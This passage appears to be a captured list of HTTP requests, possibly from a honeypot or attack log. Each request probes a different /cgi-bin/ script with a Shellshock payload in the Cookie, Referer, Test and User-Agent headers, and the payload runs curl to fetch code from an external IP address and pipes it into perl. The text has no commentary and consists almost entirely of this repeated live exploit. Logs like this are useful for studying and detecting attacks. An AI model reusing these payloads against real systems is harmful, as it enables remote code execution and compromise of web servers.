http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/whois_raw.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/whois/whois.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/whois.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/webspirs.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/webmap.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/webmail/html/emumail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/webif.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/webdist.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/webcart/webcart.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/webbbs.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/way-board/way-board.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/way-board.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/w3mman2html.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/vpasswd.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/vote.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/virgil.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/viralator.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/viewcvs.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/urlcount.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/upload.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/ultraboard.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/ttawebtop.cgi/HTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/troops.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/traffic.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/title.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/tigvote.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/tidfinder.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/testing_whateverHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/test2.plHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/test/test.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/test.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/test-cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/technote/main.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/talkback.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/survey.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/store/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/store/agora.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/store.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/start.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/spin_client.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/sojourn.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/snorkerz.cmdHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/snorkerz.batHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/smartsearch/smartsearch.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/smartsearch.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/simplestmail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/simplestguest.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/showcheckins.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/shopplus.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/shopper.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/shop.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/sendform.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/search/search.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/search.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/searchHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/scoadminreg.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/sbcgi/sitebuilder.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/robpoll.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/robadmin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/responder.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/replicator/webpage.cgi/HTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/register.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/ratlog.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/r.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/quizme.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/quickstore.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/publisher/search.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { 